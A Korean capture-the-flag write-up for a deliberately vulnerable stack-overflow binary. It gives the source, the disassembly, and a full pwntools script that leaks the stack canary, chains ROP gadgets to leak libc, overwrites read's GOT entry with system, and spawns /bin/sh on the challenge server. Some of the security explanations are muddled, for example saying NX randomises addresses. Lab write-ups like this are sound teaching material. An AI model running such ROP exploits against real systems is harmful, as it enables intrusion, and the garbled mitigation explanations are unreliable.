#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}
Canary가 발견되었고, NX가 켜있어서 스택과 기타 맵이 랜덤 주소로 배치된다.
Partial RELRO이므로 스택에서 쉘을 실행할 수 없어, GOT overwrite이나 Onegadget을 사용해야 할 것 같다.
첫번째 구간에서 leaks canary로 카나리 값을 구한다.
write(1, read\_got, ...);
-> read(0, read, ...);
-> read("/bin/sh");
재료 구하기
read_got = e.got['read']
read_plt = e.plt['read']
write_plt = e.plt['write']
pop_rdi = 0x400853
pop_rsi_r15 = 0x400851
ret = 0x400854
pop_rdi
, pop_rsi_r15
, ret
은 ROPgadget으로 구한다.
pwndbg> disass main
Dump of assembler code for function main:
0x00000000004006f7 <+0>: push rbp
0x00000000004006f8 <+1>: mov rbp,rsp
0x00000000004006fb <+4>: sub rsp,0x40
0x00000000004006ff <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000400708 <+17>: mov QWORD PTR [rbp-0x8],rax
0x000000000040070c <+21>: xor eax,eax
0x000000000040070e <+23>: mov rax,QWORD PTR [rip+0x20095b] # 0x601070 <stdin@@GLIBC_2.2.5>
0x0000000000400715 <+30>: mov ecx,0x0
0x000000000040071a <+35>: mov edx,0x2
0x000000000040071f <+40>: mov esi,0x0
0x0000000000400724 <+45>: mov rdi,rax
0x0000000000400727 <+48>: call 0x400600 <setvbuf@plt>
0x000000000040072c <+53>: mov rax,QWORD PTR [rip+0x20092d] # 0x601060 <stdout@@GLIBC_2.2.5>
0x0000000000400733 <+60>: mov ecx,0x0
0x0000000000400738 <+65>: mov edx,0x2
0x000000000040073d <+70>: mov esi,0x0
0x0000000000400742 <+75>: mov rdi,rax
0x0000000000400745 <+78>: call 0x400600 <setvbuf@plt>
0x000000000040074a <+83>: mov edi,0x400874
0x000000000040074f <+88>: call 0x4005b0 <puts@plt>
0x0000000000400754 <+93>: mov edx,0x5
0x0000000000400759 <+98>: mov esi,0x400884
0x000000000040075e <+103>: mov edi,0x1
0x0000000000400763 <+108>: call 0x4005c0 <write@plt>
0x0000000000400768 <+113>: lea rax,[rbp-0x40]
0x000000000040076c <+117>: mov edx,0x100
0x0000000000400771 <+122>: mov rsi,rax
0x0000000000400774 <+125>: mov edi,0x0
0x0000000000400779 <+130>: call 0x4005f0 <read@plt>
0x000000000040077e <+135>: lea rax,[rbp-0x40]
0x0000000000400782 <+139>: mov rsi,rax
0x0000000000400785 <+142>: mov edi,0x40088a
0x000000000040078a <+147>: mov eax,0x0
0x000000000040078f <+152>: call 0x4005e0 <printf@plt>
0x0000000000400794 <+157>: mov edi,0x400893
0x0000000000400799 <+162>: call 0x4005b0 <puts@plt>
0x000000000040079e <+167>: mov edx,0x5
0x00000000004007a3 <+172>: mov esi,0x400884
0x00000000004007a8 <+177>: mov edi,0x1
0x00000000004007ad <+182>: call 0x4005c0 <write@plt>
0x00000000004007b2 <+187>: lea rax,[rbp-0x40]
0x00000000004007b6 <+191>: mov edx,0x100
0x00000000004007bb <+196>: mov rsi,rax
0x00000000004007be <+199>: mov edi,0x0
0x00000000004007c3 <+204>: call 0x4005f0 <read@plt>
0x00000000004007c8 <+209>: mov eax,0x0
0x00000000004007cd <+214>: mov rcx,QWORD PTR [rbp-0x8]
0x00000000004007d1 <+218>: xor rcx,QWORD PTR fs:0x28
0x00000000004007da <+227>: je 0x4007e1 <main+234>
0x00000000004007dc <+229>: call 0x4005d0 <__stack_chk_fail@plt>
0x00000000004007e1 <+234>: leave
0x00000000004007e2 <+235>: ret
End of assembler dump.
main
을 디스어셈블해보면 buf의 주소가 [rbp-0x40]
임을 알 수 있다. main+229
에서 <__stack_chk_fail@plt>
의 인자로 [rbp-0x8]
이 들어가는 것을 보아 Canary의 주소는 [rbp-0x8]
이다.
따라서 처음 buf를 b'A'를 0x39
바이트만큼 send한다. (Canary의 마지막 부분 NULL을 덮음)
payload = b'A' * 0x39
p.sendafter(b'Buf: ', payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recvn(7))
buf를 입력받고 buf를 print하는 과정에서 카나리까지 읽게 되므로 Canary를 leak할 수 있다.
Canary를 위에서 구했으니 이를 이용해 ROP chaining을 한다.
write(1, read_got, ...);
으로 read
의 실제 주소를 구해 libc base
를 찾는다.
libc base
를 구했으니 라이브러리에서의 함수들의 실제 주소를 구할 수 있다. 따라서 system
함수의 주소를 구한다.
read(1, read_got, ...);
에 system
함수의 주소를 보내 read_got
을 system 함수 주소로 overwrite한다.
read("/bin/sh");
으로 system("/bin/sh");
를 실행한다. read_got
이 system
이므로 read
가 아닌 system
이 실행된다.
payload = b'A' * 0x38 + p64(canary) + b'B' * 0x8
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh\x00") -> system("/bin/sh")
payload += p64(pop_rdi) + p64(read_got + 0x8)
payload += p64(ret) + p64(read_plt)
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00' * 2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
p.send(p64(system) + b'/bin/sh\x00')
payload로 이렇게 write(1, read\_got, ..)
-> read(0, read\_got, ...)
-> read("/bin/sh")
를 보내면
read(0, read\_got, ...)
에서 내가 값을 주기를 기다린다.
따라서 payload를 보내고
write
로 read
함수의 주소를 알아내 libc base
와 system
을 찾고
read
에 system
주소를 보내고
read
->system
을 자동 실행하게 하면 된다.
이 때 "/bin/sh"는 우리가 직접 system
함수 주소를 보낼 때 뒤에 같이 보낸다. 그러면 "/bin/sh\x00"의 주소가 read\_got+8
일 것이다!
from pwn import *
context.log_level = 'debug'
p = remote('host3.dreamhack.games', 22426)
e = ELF('./rop')
libc = ELF('./libc.so.6')
read_got = e.got['read']
read_plt = e.plt['read']
write_plt = e.plt['write']
pop_rdi = 0x400853
pop_rsi_r15 = 0x400851
ret = 0x400854
payload = b'A' * 0x39
p.sendafter(b'Buf: ', payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recvn(7))
payload = b'A' * 0x38 + p64(canary) + b'B' * 0x8
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh\x00") -> system("/bin/sh")
payload += p64(pop_rdi) + p64(read_got + 0x8)
payload += p64(ret) + p64(read_plt)
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00' * 2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
p.send(p64(system) + b'/bin/sh\x00')
p.interactive()